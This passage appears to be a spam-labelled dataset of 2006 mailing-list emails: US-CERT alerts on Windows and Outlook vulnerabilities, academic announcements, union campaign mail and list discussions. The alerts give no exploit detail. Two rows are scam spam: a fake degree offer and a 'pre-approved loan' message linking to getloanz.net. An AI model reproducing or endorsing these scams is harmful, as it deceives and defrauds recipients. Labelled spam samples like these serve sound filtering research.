Cyber Security Alert SA06-005A -- Microsoft Windows Metafile Vulnerability ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Cyber Security Alert SA06-005A Microsoft Windows Metafile Vulnerability Original release date: January 5, 2006 Last revised: -- Source: US-CERT Systems Affected * Microsoft Windows Overview Microsoft has released an update that addresses a critical vulnerability in Windows Metafile images. Solution Apply Updates Microsoft has released a security update for a Windows Metafile image vulnerability. To obtain the update, visit the Microsoft Update web site. US-CERT also recommends enabling Automatic Updates. Description Microsoft Security Bulletin MS06-001 addresses a vulnerability in Windows Metafile (WMF) images. This vulnerability may allow an attacker to take control of your computer or cause it to crash. For more technical information, see US-CERT Technical Cyber Security Alert TA06-006A. References * US-CERT Technical Cyber Security Alert TA06-005A - * US-CERT Vulnerability Note VU#181038 - * Microsoft Security Bulletin Summary for January 2006 - * Microsoft Security Bulletin MS06-001 - * Microsoft Update - * Security Essentials - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT. Please send email to with ""SA06-005A Feedback VU#181038"" in the subject. ____________________________________________________________________ Mailing list information: ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History January 5, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ72Z030pj593lg50AQJM0gf/SgZjbSlAotT4kykcvj4dMvx1PqQ/SxtP 8l9mIP8sMxSGkRZMESgYhU8dADiZYmiI3ztuT0WCXWCDhWsPjw95Jzj+WzByXQGi BACdPfbJUsVxgRrmCxHQd/x+TFgJD+QLvbb2EcyW/9zIlrNZk696OexLTbeV8ATG AwpW95v8oi44CnwtPP7atAdf1N65Bi+Fa59w0eNL9N9ml3PveBGgbZAY4Z8YVuLI El5rf8q/ayfVrZfMkexLZTQrR0UiBUhzcC6toGYNDm0z0t19fPs3zKf/bnpoCJHW XqlBa8h7Q6JMP1Cgtf+n/WZplxiwOfCK0gFZQbuh5Vqm/g+fpOUqww== =+3tA -----END PGP SIGNATURE-----",0,1 US-CERT Technical Alerts ,technical-alerts@us-cert.gov,"Thu, 05 Jan 2006 17:13:01 -0500",US-CERT Technical Cyber Security Alert TA06-005A -- Update for Microsoft Windows Metafile Vulnerability ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-005A Update for Microsoft Windows Metafile Vulnerability Original release date: January 5, 2006 Last revised: -- Source: US-CERT Systems Affected * Systems running Microsoft Windows Overview Microsoft Security Bulletin MS06-001 contains an update to fix a vulnerability in the way Microsoft Windows handles images in the Windows Metafile (WMF) format. I. Description TA05-362A describes a vulnerability in the way Microsoft Windows handles Windows Metafile images. This vulnerability could allow a remote attacker to execute arbitrary code. Microsoft Security Bulletin MS06-001 contains an update to fix this vulnerability. The vulnerability is described in further detail in VU#181038. II. Impact A remote, unauthenticated attacker may be able to execute arbitrary code if the user is persuaded to view a specially crafted Windows Metafile. III. Solution Apply a patch from your vendor Install the appropriate update according to Microsoft Security Bulletin MS06-001. Appendix A. References * Microsoft Security Bulletin MS06-001 - * US-CERT Vulnerability Note VU#181038 - * US-CERT Technical Cyber Security Alert TA05-362A - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to with ""TA06-005A Feedback VU#181038"" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit . ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History January 5, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ72ZA30pj593lg50AQLAqgf/Wwj2V0SfgA61RdAw1H8GxAaWjb3Hsuix 8DMAcZv8yITiZLkt2JD/d1piq28v0o23g0TR2I2F5sj+8GsfkmYGLOGkoqYJ4v+0 8yD3JZIxwcR+OJlA29HZebBHUNR00QBUQEb369QK9mntVqUZ/XKGiW05mQPODwhr rFJQy3hB54evEGltScn4wTzzEB2YsSShKlBCAPOVLocLUNIZ1X60n234fe0YLABK IUpDp6g/CrDmQ3fQYLfBGQQD462NIdccYzeYNARCOSR77dHbPYAiMvNQiiJSvrEp 4Iz2Gkm0T+jA9o4SgmkuYOtA/+3XaWXDgUP3d6Kwfo4cm9LzciF+vQ== =GfKm -----END PGP SIGNATURE-----",0,1 Robert S Galloway ,"flow-tools@list.splintered.net, flowscan@net.doit.wisc.edu, cuflow-users@columbia.edu","Thu, 05 Jan 2006 14:34:36 -0700",Update Links and Bookmarks for How To,"Please update your bookmarks for my how to page to point to: http://www.dynamicnetworks.us/netflow/ Thank you! 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The purpose of the symposium will be: * To explore the challenges of library resource allocation in the digital age * To create a flexible resource allocation process to respond to changing research and curricular needs of faculty and students, to address the increasing interdisciplinary nature of teaching and research, and to involve the university community in an ongoing dialogue with the University Libraries in this process. * To address the broad issues of the changing nature of scholarship in the digital age; both the production of scholarly information and the communication of scholarship within the academic community (e.g. the open-access initiative and its funding model implications for libraries and universities) and how these impact the challenges facing libraries in collection resource management and the strategies used to address these challenges. There is no registration fee. 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Gordon Wright Centre Manager Centre for the Study of Global Governance London School of Economics & Political Science M210, Houghton Street, London WC2A 2AE, UK T +44 (0)20 7955 7583 F +44 (0)20 7955 7591 E [log in to unmask] http://www.lse.ac.uk/Depts/global/ ________________________________________________________________ To unsubscribe from the list send an email without a subject to: [log in to unmask] with ""SIGNOFF SUDANESE"" in the body of the email Archives of [log in to unmask]: http://list.msu.edu/archives/sudanese.html Back to: Top of message | Previous page | Main SUDANESE page LIST.MSU.EDU",0,1 Karen Nelson ,duckvoice@lists.uoregon.edu,"Fri, 06 Jan 2006 13:59:41 -0800",duckvoice: January 16th Speaker,"We have scheduled a speaker, Michael Franzese, for Monday, January 16th in the Pitman room. Michael is a former mob boss who will be speaking about gambling. I realize that this is Martin Luther King holiday, but it is scheduled at 7:30 pm to accommodate basketball practice and those who are returning from a long weekend. This is a mandatory event. I have attached his website so you can know more about him...I think you will find him interesting. http://www.michaelfranzese.com Karen Karen Nelson Assistant Athletic Director - Student-Services Director of SOAR /CHAMPS Life Skills (541) 346-6103 FAX (541)346-6458 tjnelson@uoregon.edu ",0,1 Yvonne Aburrow ,aut-discussion@bath.ac.uk,"Fri, 06 Jan 2006 14:47:06 +0000",Campaign update January 6 06 (fwd),"------------ Forwarded Message ------------ Date: 06 January 2006 14:32 +0000 From: Justine Stephens To: Info Cc: Matt Waddup , Justine Stephens Subject: Campaign update January 6 06 Distribution: LA Presidents, LA Secretaries, LA Administrators, AUT Executive, All AUT staff Dear All, Happy New Year. A short but important email this week. In this weeks briefing for members, a reminder about the crucial meeting with the employers on the 10th, the timetable for the conduct of a ballot on industrial action and action short of a strike, should the employers fail to make us an acceptable offer and a reminder about organising General Meetings. To build turnout and a yes vote, it is imperative that members have the chance to discuss the issues. General Meetings on the pay campaign, addressed by national representatives have now taken place in most local associations. Many more LA's are organising meetings in the next few weeks. If you are planning a general meeting, or even planning your second, and would like a national speaker please contact: Justine.stephens@aut.org.uk On Wednesday morning next week (January 11) we will be emailing you a template for a local press release with space for local comment if talks break down on Tuesday. We will also be emailing you an update on negotiations. It is extremely important that the message below gets to as many members as possible -- please forward to every member of your LA. --------------------------------------------------------------------------- --------------------------------------------------------------------------- --------------------------------------------------------------------------- ---------------------- Dear Colleagues, IMPORTANT MESSAGE 10th January: Last Chance for the Employers It is crunch time for the employers. On Tuesday 10th January, AUT and NATFHE will be meeting with UCEA (the employers' body) in a last ditch attempt to find a negotiated settlement to this dispute. At this meeting the employers have their last chance to prevent a year disrupted by action across the entire Higher Education sector. If no acceptable offer is forthcoming on 10th January, both AUT and NATFHE will begin to ballot their members on industrial action and action short of a strike. The very fact that this meeting is happening at all is a tribute to the pressure that AUT and NATFHE members have mounted on the employers. This pressure has been created by members' holding meetings across the country, by members writing to their Vice Chancellors asking where they intend to spend their additional income and by members writing to their MPs, asking for their support for our campaign. The growing consciousness that members are angry and have had enough of evasions and excuses, coupled with the growing political support for our campaign among MPs and peers in Parliament has made this meeting happen. However, the meeting on Tuesday represents the final opportunity for the employers to honour their previous commitment to spend 'at least a third' of additional income from top-up fees and other grants on improving staff pay. Should they once more fail to do so, both unions will begin to ballot their members. Balloting for action - Building for a Yes vote: Should the employers fail to make an acceptable offer, AUT will send out ballot papers to members on 13th January. AUT and NATFHE will be asking members to vote YES strike action, and to vote YES to action short of a strike, including a boycott of student assessment. It is essential to get a high turnout and a big yes vote in this ballot. A high turnout and an endorsement of action would send the clearest possible message to the employers and ironically represents the best possible opportunity of resolving the dispute without having to take action. If the union has to ballot members PLEASE make sure you use your vote. A survey conducted by the Employment Relations Research Centre at the University of Copenhagen, showed that 30% of people who do not vote in ballots fail to do so because they forget. Don't forget to use your vote and remind your colleagues! Ballot papers are due to be dispatched on 13 January failing an offer which is acceptable to your union. Make sure the campaign is visible on your campus: It sounds simple and it is: the more AUT posters on display around your university- the more high profile the campaign will be. The visibility of the strength of members feeling is absolutely essential if VC's are to take notice. Should no acceptable offer be made on January 10, new vote YES materials will be arriving at your university -- make sure you put a poster on your door and distribute the fliers to colleagues, reminding them to vote. Build an alliance with students: Student support and understanding will be vital in the coming weeks. New resources for this are being prepared, but LAs and members are reminded to approach Students and your local Students' Union to explain the campaign to them. Specifically, LAs can ask Students' Unions to sign the NUS statement of support (adapt to reflect any local situation if necessary) and then send it to your VC. By this means, the academic unions can deprive VCs of a way of dividing staff and students. The statement of support is available here: http://www.aut.org.uk/media/pdf/m/k/pay_jointstatement_final.pdf All the best. Justine Stephens Head of Campaigns AUT Egmont House 25-31 Tavistock Place London WC1H 9UT Tel: 020 7670 9700 Mobile: 07887 565976 AUT has imposed its most serious sanction of 'greylisting' on Brunel University. For more information and to support our campaign please visit: http://www.aut.org.uk/greylistbrunel ______________________________________________________________________ This email and any files transmitted with it are confidential and solely for the use of the intended recipient. If you have received this email in error please notify the sender. The views expressed in this email are those of the sender and not necessarily the views of AUT. AUT has taken steps to ensure that any attachments are free from viruses. You should, however, carry out your own virus check before opening any attachment. AUT accepts no liability for loss or damage caused by software viruses. ______________________________________________________________________ This email has been scanned by the MessageLabs Email Security System. For more information please visit http://www.messagelabs.com/email ______________________________________________________________________ ---------- End Forwarded Message ---------- Yvonne -- Yvonne Aburrow Web Developer, Computing Services, University of Bath +44 (0)1225 38 6022 Y.Aburrow@bath.ac.uk http://people.bath.ac.uk/ccsya/",0,1 """Hennet, Remy"" ",Alex Cheng ,"Fri, 06 Jan 2006 17:50:40 -0500",RE: SaltNet and PoroNet: In situ remediation,"Alex, for your information; please post to the ""nets"" subscriber if appropriate. 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This program makes it extremely rapid to go through a large set of subject data. It is designed to be failsafe and can resume if interrupted for any reason. It produces an RT file, one row per subject, that can be directly read into a spreadsheet or statistical program for analysis. I have already successfully used the program for a couple of experiments. If you think it might be useful to you and are willing to provide detailed feedback, especially in case of problems, I would be happy to mail the code and instructions to you (the only reason I am not attaching it to this message is because attachments to the list are not allowed). Once a sufficient set of testers has determined that the program is bug-free and useful I would be happy to see it uploaded somewhere publicly available for any DMDX user to download. Thanassi Protopapas ",0,0 Irina Sekerina ,DMDX@psy1.psych.arizona.edu,"Mon, 09 Jan 2006 09:51:53 -0500",[DMDX] Re: Announce: Program to help with naming data scoring - request for testers,"Dear Dr. Protopapas, I would like to get a copy of your Python program and instructions/description because I am going to run a series of naming experiments with bilingual participants. I hope you can provide me with detailed instructions because I have not idea what a Python program is. Sincerely, Irina Sekerina, Ph.D. Assistant Professor of Psychology College of Staten Island Athanassios Protopapas wrote: >Dear DMDX users, > >If you run any sort of naming experiments, in which you collect vocal >responses using RecordVocal from DMDX, you have faced the problem of >listening to all the responses in order to determine which ones are >correct. You may also have wanted to check the response times given by >the voice key (VOX), in cases of mis-triggering, late triggering etc. >This is cumbersome and time-consuming to do with generic audio >applications. > >I have written a short program in Python which will play out the >recorded responses and display the waveforms along with the timing >marks and corresponding correct responses, so you can move on to the >next trial with only one click (if the RT is correct) or two (if not). >This program makes it extremely rapid to go through a large set of >subject data. It is designed to be failsafe and can resume if >interrupted for any reason. It produces an RT file, one row per >subject, that can be directly read into a spreadsheet or statistical >program for analysis. > >I have already successfully used the program for a couple of >experiments. If you think it might be useful to you and are willing to >provide detailed feedback, especially in case of problems, I would be >happy to mail the code and instructions to you (the only reason I am >not attaching it to this message is because attachments to the list >are not allowed). Once a sufficient set of testers has determined >that the program is bug-free and useful I would be happy to see it >uploaded somewhere publicly available for any DMDX user to download. > >Thanassi Protopapas > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > > > > ",0,1 Kathleen Shearer ,SPARC Institutional Repositories Discussion List ,"Mon, 09 Jan 2006 09:11:01 -0500",content recruitment strategies for IRs,"This message is directed at those involved with implementing or managing an institutional repository. As we all know, recruiting content is probably THE biggest challenge for IRs. To assist others in populating their IRs, I am conducting an informal survey of organizational strategies for populating IRs. Of course, I will be conducting a review of the literature, but I am also interested in hearing from those who have not made this information publicly available. In particular, I would like to know the following: I. A description of the strategy used to populate the IR II. The approximate cost of this strategy III. The success of the strategy in terms of increased content Any and all input would be greatly appreciated. Please reply to me off list (mkshearer@videotron.ca), and I will be happy to provide a summary of these results to the list when compiled. Kathleen Kathleen Shearer Coordinator, CARL Institutional Repository Project Canadian Association of Research Libraries (514) 847-9068 mkshearer@videotron.ca",0,0 cknox@uoregon.edu,cknox@uoregon.edu,"Mon, 09 Jan 2006 14:39:59 -0800",Please Reply EDST 114,"Hi folks; Just to check that we're all getting emails for this class, please reply to this email for 10 points by Wednesday morning. Put ""Reply to Your Request"" in the subject of the email. Thanks and the best of everything to you, Carolyn",0,0 ARL Communications ,,,"On the ARL Server (Jan. 9, 2006)","On the ARL Server Week of January 9, 2006 SPARC Welcomes 2006 Steering Committee Members Research Library Trends--Introduction to the ARL Statistics 2003-04 More than 31% of the library materials budget is spent on electronic resources [PDF] (Source: ARL Statistics 2003-04) ARL Events at the ALA Midwinter Meeting, San Antonio, January 2006 SPARC-ACRL Forum at ALA Midwinter: Authors and Authority: Perspectives on Negotiating Licenses and Copyright, January 21, 2006, 4:00-6:00 p.m. Register for LibQUAL+TM Workshops at ALA Midwinter 2006: LibQUAL+™ 2006 Introductory Workshop, January 23, 9:00 a.m.-12:00 noon, no charge LibQUAL+™ 2005 Results Meeting, January 23, 1:00 p.m.-4:00 p.m., no charge Understanding Mean Comparisons and Relations with Your LibQUAL+™ Data, January 24, 8:00 a.m.-11:00 a.m., $50 LibQUAL+ International Workshop, February 2-3, 2006, University of Westminster, London, UK Living the Future 6: WOW!--Where Next? cosponsored by the University of Arizona Libraries, ARL, and ACRL in Tucson, Arizona, April 5-8, 2006 ARL/ACRL Institute on Scholarly Communication, hosted by UCLA, July 12-14, 2006 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Kaylyn Hipps Editorial & Research Associate Association of Research Libraries 21 Dupont Circle NW #800 Washington DC 20036 tel: 202.296.2296 fax: 202.872.0884 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: This message is being sent to you because you are subscribed to the mailing list ARL-ANNOUNCE@arl.org To unsubscribe, e-mail ARL-ANNOUNCE-off@arl.org To switch to the DIGEST mode, e-mail ARL-ANNOUNCE-digest@arl.org To switch to the INDEX mode, e-mail ARL-ANNOUNCE-index@arl.org Send administrative queries to ARL-ANNOUNCE-request@arl.org Visit the Web archive at https://mx2.arl.org/Lists/ARL-ANNOUNCE/",0,1 """Virginia M. Holmes"" ",DMDX@psy1.psych.arizona.edu,"Tue, 10 Jan 2006 09:55:18 +1100",[DMDX] Re: Announce: Program to help with naming data scoring - request for testers,"Dear Athanassios It sounds like it would be an excellent resource for DMDX users. Hope it succeeds. VMH Assoc. Prof. V. M. Holmes Department of Psychology University of Melbourne Parkville 3010 Australia Tel: (03) 8344.6368 Facs: (03) 9347.6618 ----- Original Message ----- From: ""Athanassios Protopapas"" To: Sent: Tuesday, January 10, 2006 12:27 AM Subject: [DMDX] Announce: Program to help with naming data scoring - request for testers > Dear DMDX users, > > If you run any sort of naming experiments, in which you collect vocal > responses using RecordVocal from DMDX, you have faced the problem of > listening to all the responses in order to determine which ones are > correct. You may also have wanted to check the response times given by > the voice key (VOX), in cases of mis-triggering, late triggering etc. > This is cumbersome and time-consuming to do with generic audio > applications. > > I have written a short program in Python which will play out the > recorded responses and display the waveforms along with the timing > marks and corresponding correct responses, so you can move on to the > next trial with only one click (if the RT is correct) or two (if not). > This program makes it extremely rapid to go through a large set of > subject data. It is designed to be failsafe and can resume if > interrupted for any reason. It produces an RT file, one row per > subject, that can be directly read into a spreadsheet or statistical > program for analysis. > > I have already successfully used the program for a couple of > experiments. If you think it might be useful to you and are willing to > provide detailed feedback, especially in case of problems, I would be > happy to mail the code and instructions to you (the only reason I am > not attaching it to this message is because attachments to the list > are not allowed). Once a sufficient set of testers has determined > that the program is bug-free and useful I would be happy to see it > uploaded somewhere publicly available for any DMDX user to download. > > Thanassi Protopapas > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 Virginia Kay ,enclgrads@CUVMC.AIS.COLUMBIA.EDU,"Tue, 10 Jan 2006 12:01:39 -0500",DEPT. ANNOUNCEMENTS,"COURSE CHANGE ENGL G6402y Call Number: 62247 (Nineteenth-century Texts) Domestic Affections and Anxieties in 19th-century Britain (Eileen Gillooly) will be held on Mondays 11-12:50, not as previously listed. Points: 3 Day/Time: M 11:00am-12:50pm Location: 501B International Affairs Building OFFICE CHANGES Prof. Patricia Dailey is now in 602 b Philosophy Hall. Prof. Amanda Claybaugh is now in 408 j Philosophy Hall.",0,0 cashiers@uoregon.edu,vmayer@uoregon.edu,"Tue, 10 Jan 2006 14:12:39 -0600",University of Oregon payment notification,"Valerie A Mayer, An eCheck payment in the amount of $1,000.00 was made on 01/10/2006 at 12:12 PM. The confirmation number is 54511. The payment description is Student Account. Regards, University of Oregon and QuikPAY Online Services For assistance, please contact the Cashiers office at cashiers@uoregon.edu or call (541) 346-3154. ",0,0 """John, Elnora"" ",DMDX@psy1.psych.arizona.edu,"Tue, 10 Jan 2006 09:52:03 -0500",Can't wait to hear from you,"Client Record #: 467488 Status: Non-Active Dear Sir/Madam; You status with our online-university is still non active. If you are still willing to become enrolled in our 2 week ""Life Experience"" degree program then we will need to know by Friday, May 19th. This program is equivalent to our 2-4 year degree programs. We realize that you have the experience and therefore would recommend that you enroll. Give me a call at: Area Code: (206) Phone: 984-1705 Elnora John 206-984-1705 Client Relations Churchill-OnlineU ",1,0 """Mark Lucas <""","""a href=/cgi-bin/wa?LOGON=A2%3Dind0601%26amp%3BL%3Doandm%26amp%3BP%3D4816""","Tue, 10 Jan 2006 16:16:19 -0700",US Association of Blind Athletes press release,"For Immediate Release Contact: Angie Murphy January 9, 2006 (719) 630-0422 [log in to unmask] NEW USABA PROMOTIONAL DVD AVAILABLE (Colorado Springs, Colo.) - The United States Association of Blind Athletes (USABA) has created a promotional DVD which can now be viewed on our website at www.usaba.org. The 5 minute DVD, produced by Mammoth Media is an informational feature which illustrates the story behind the USABA organization and promotes the abilities of people who are blind and visually impaired. ""The USABA board and staff are extremely excited to provide a DVD that highlights the abilities and accomplishments of athletes who are blind and visually impaired,"" said Mark Lucas, Executive Director. Lucas also said ""We are creating a 3-year marketing plan that targets key constituent groups such as the American Optometric Association, parents, teachers, adapted physical education teachers, rehabilitation counselors, community based programs and other agencies serving people who are blind and visually impaired, which will increase awareness of the numerous sport opportunities."" For a copy of the DVD contact USABA at (719) 630-0422 or [log in to unmask] There is no fee to receive a copy of the DVD; however a donation of $10 is suggested to assist USABA's efforts in supporting athletes. Current 2006 membership opportunities are available with the USABA organization and membership forms can be found at www.usaba.org or as an attached document. Several membership benefits include USABA newsletters highlighting athlete accomplishments, opportunities to participate in sports camps and clinics as well as regional and national competitions, and website access with current USABA news and events. One upcoming event includes the 2006 USABA National Sports Festival and Championships to be held in Colorado Springs, Colo. The Sports Festival will be held Aug. 2-3, which will consist of sports clinics involving track & field, swimming, judo, wrestling, powerlifting and goalball. The National Championships of these sports will be included within the Colorado State Games excluding goalball and will follow the Sports Festival on Aug.4-6 More information on these events will be provided in the USABA Insight newsletter due out this month. The mission of the United States Association of Blind Athletes is to increase the number and quality of grassroots-through-competitive, world-class athletic opportunities for Americans who are blind or visually impaired. For more information, visit our website www.usaba.org. - END - ----------------------------------------------------------------- If you wish to cancel your OANDM list subscription, please send email to [log in to unmask] containing this command in the body of the message: SIGNOFF OANDM -----------------------------------------------------------------",0,0 US-CERT Alerts ,alerts@us-cert.gov,"Tue, 10 Jan 2006 18:17:04 -0500","US-CERT Cyber Security Alert SA06-010A -- Microsoft Windows, Outlook, and Exchange Vulnerabilities ","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Cyber Security Alert SA06-010A Microsoft Windows, Outlook, and Exchange Vulnerabilities Original release date: January 10, 2006 Last revised: -- Source: US-CERT Systems Affected * Microsoft Windows * Microsoft Outlook * Microsoft Exchange Overview Microsoft has released updates that address critical vulnerabilities in Windows, Outlook, and Exchange. Solution Apply Updates Microsoft has provided updates to remedy these vulnerabilities. To obtain the updates, visit the Microsoft Update web site. US-CERT also recommends enabling Automatic Updates. Description Microsoft Security Bulletins for January 2006 address vulnerabilities in Microsoft Windows, Outlook, and Exchange. These vulnerabilities may allow an attacker to take control of your computer or cause it to crash. For more technical information, see US-CERT Technical Cyber Security Alert TA06-010A. References * US-CERT Technical Cyber Security Alert TA06-010A.html - * US-CERT Vulnerability Note VU#915930 - * US-CERT Vulnerability Note VU#252146 - * Microsoft Security Bulletin Summary for January 2006 - * Microsoft Update - * Security Essentials - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT. Please send email to with ""SA06-010A Feedback VU#915930"" in the subject. ____________________________________________________________________ Mailing list information: ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History January 10, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ8Q0VX0pj593lg50AQK8dwgAwmoihsS1iv7WxRZpsgMp6k8fFvYnOcnE rPYICJDNSvOcBxn6ii7xvvxoQFUV31kRellFBg0ztsBJc9D77OisHU5A0YKKlRk0 5qh2EeB5ntZGueVGicHdIpNl5g6s/PX7SFIpSpyC8Zt8rWTVoaUmZ4/iPEUU18Bf ag3rSI0s9Wa+GsR8OTSadWUuzugBr4zIGGbN4ruVWP+TAWs1BcTxa5unv4iXLa+G HfHUXzxXl5tpIFPXOZ+SBjS9CFHGYfkrEhE5rZf/4EXholNZ6Cz4FdJN546AtWlk uWf6IpRt8elO6gXfVutOL0rareGx158TYKDS+eMSBuODJYZbAfdcTQ== =emNY -----END PGP SIGNATURE-----",0,1 US-CERT Technical Alerts ,technical-alerts@us-cert.gov,"Tue, 10 Jan 2006 17:51:52 -0500","US-CERT Technical Cyber Security Alert TA06-010A -- Microsoft Windows, Outlook, and Exchange Vulnerabilities ","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-010A Microsoft Windows, Outlook, and Exchange Vulnerabilities Original release date: January 10, 2006 Last revised: January 10, 2006 Source: US-CERT Systems Affected * Microsoft Windows * Microsoft Outlook * Microsoft Exchange For more complete information, refer to the Microsoft Security Bulletin Summary for January 2006. Overview Microsoft has released updates that address critical vulnerabilities in Windows, Outlook, and Exchange. Exploitation of these vulnerabilities could allow a remote, unauthenticated attacker to execute arbitrary code or cause a denial of service on a vulnerable system. I. Description Microsoft Security Bulletins for January 2006 address vulnerabilities in Microsoft Windows, Outlook, and Exchange. Further information is available in the following US-CERT Vulnerability Notes: VU#915930 - Microsoft embedded web font buffer overflow A heap-based buffer overflow in the way Microsoft Windows processes embedded web fonts may allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable system. (CVE-2006-0010) VU#252146 - Microsoft Outlook and Microsoft Exchange TNEF decoding vulnerability Microsoft Outlook and Microsoft Exchange contain an unspecified vulnerability in processing TNEF attachments. This may allow a remote, unauthenticated attacker to execute arbitrary code on a system running the vulnerable software. (CVE-2006-0002) II. Impact Exploitation of these vulnerabilities may allow a remote, unauthenticated attacker to execute arbitrary code with the privileges of the user. If the user is logged on with administrative privileges, the attacker could take complete control of an affected system. An attacker may also be able to cause a denial of service. III. Solution Apply Updates Microsoft has provided the updates for these vulnerabilities in the Security Bulletins and on the Microsoft Update site. Workarounds Please see the US-CERT Vulnerability Notes in Appendix A for workarounds. Appendix A. References * Microsoft Security Bulletin Summary for January 2006 - * US-CERT Vulnerability Note VU#915930 - * US-CERT Vulnerability Note VU#252146 - * CVE-2006-0002 - * CAN-2006-0010 - * Microsoft Update - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to with ""TA06-010A Feedback VU#915930"" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit . ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History January 10, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ8Q6Bn0pj593lg50AQIL7Qf8CadB1mP4WdchYj+Ge/kKkSYCps/Q5y0S 6sgEiToVljKCUfdBEBbBomuXR5tFlHaIItefeFhzPIAJcVLkudXP3EcwvM8tvDN6 LpnGUquKucZUHFYUbuDdYcYvLRkXf5zTb3dS/zh03UfW2Gn/5s6zyBab30BGl7r/ LRSoF2bVPRY0E2RhYYK1RzY68/ZyPmES0s11RAx5F0QiejQNv/i32jTuoh2SyxIw 4L70DZm/vuAqDsSFCjYb2YUsScKIMJwmU4Hv39J/+dB0TARV7nhscSIHAXXBaccU XBrGgSJCc+4YZq/8PnpWuDmEBMLcOuAcv8LXjBbcodAWRBwAPBXcBg== =9cnz -----END PGP SIGNATURE-----",0,1 Peter Suber ,SPARC-OAForum@arl.org,"Tue, 10 Jan 2006 17:32:13 -0500",Open Access Update,"[Forwarding from Arthur Sale on the Ozeprints list. --Peter.] The AuseAccess wiki http://leven.comp.utas.edu.au/AuseAccess/ has received a number of updates over the holiday break, which you might like to look at. Five new Australasian universities have established repositories, all of whom have signed up with commercial service provider ProQuest. A fair bit has happened with deposit policies; see the page. I've updated my graph to 1 January 2006, which shows how voluntary policies continue to be underperforming disasters; QUT continues to surge ahead and is probably heading for full-text of 60% of DEST-reportable 2005 content. There are also moves from grant agencies in the USA and the UK. My sources say there may be movements in other countries surfacing soon. Please feel free to edit any page that you can contribute to; it's your wiki. See you in Sydney in February, perhaps. Arthur",0,1 """Thad T. Stroud"" ",cs395t-mark@cs.utexas.edu,"Tue, 10 Jan 2006 19:53:27 -0600",RERE:WE approved yours loan uc12d,"Dear Homeowner, http://getloanz.net You have been approved for a $ 956,494 house loan (2.9 fixed) This offer is being presented to you right now!. Your credit history is in no way a factor. To take advantage of this Limited Time Opportunity, please take a minute and confirm your curiosity or intention to accept this loan, at the following web-site: http://getloanz.net Best Regards Don Nut Loan Manager http://getloanz.net/lit.html cs395t-mark@cs.utexas.edu wrote: > RERE:WE approved yours loan yl6ihb28mm ",1,1 Virginia Kay ,enclgrads@CUVMC.AIS.COLUMBIA.EDU,"Wed, 11 Jan 2006 12:43:54 -0500",GERMAN: Placement Exams,"German Placement Exams will be held as follows: Friday, January 13, 2006 10:00 a.m. - 12:00 noon in 324 Milbank (Barnard) and Friday, January 20, 2006 2:45 p.m. - 3:45 p.m. in 313 Hamilton Hall The Dept. of Germanic Languages, 319 Hamilton Hall, tel. 212 854-3202 ",0,0 Lauren Brownrigg ,duckvoice@lists.uoregon.edu,"Wed, 11 Jan 2006 14:07:38 -0800",duckvoice: UofO Athletics Duckling Fund raiser at Papa's Pizza," UofO Athletics Duckling Fund raiser at Papa's Pizza on Wed. January 18th, 2006. You must bring the flier to participate. The University of Oregon Student Athlete Advisory Committee has taken Bailey Santana (Amanda Santana's (UofO Track team) little sister) under their wing and declared her their UO Duckling. And will be sponsoring events throughout the year to help raise money for Bailey and her family. One of these events is coming up very soon! On Wednesday Jan. 18th Papa's Pizza Parlor on Coburg road is helping the UofO Student Athlete Advisory Committee sponsor an event to help raise money for Bailey. There will be fliers at the front desk of the Casanova Center as well as the Student Services office. By bringing this flier to Papa's Pizza on Jan. 18th the fund will receive 50% of the value of the food you purchase!!! You must have the flier when you go to Papa's! Come support our Duckling! If you are interested in giving a donation to our Duckling fund as well please stop by the Student Services office in the Cas Center. For more information about Bailey you can visit her web site at www.santanacrane.com Thank you, Lauren Brownrigg University of Oregon Athletics Student Services (541)346-5367 lkb@uoregon.edu ",0,0 cknox@uoregon.edu,cknox@uoregon.edu,"Wed, 11 Jan 2006 14:45:41 -0800",EDST 114 4slide example,"Hi Folks; I quickly made up an example of a slide show that would work for the Four Slide example. It has a title slide, an explanation slide, a progressively disclosed list of take away points and a comparison slide. Actually it has five slides—I thought that last picture was so cute I just had to include it. You can find it in the Resources section of Blackboard. This show uses Comic Sans—another very nice sans serif font that works on both macs and pcs. Please remember the following: 1) Print out the assignment to better see all the details you'll be graded on, 2) We don't have class Monday, 3) I'll teach you to do the progressive list on 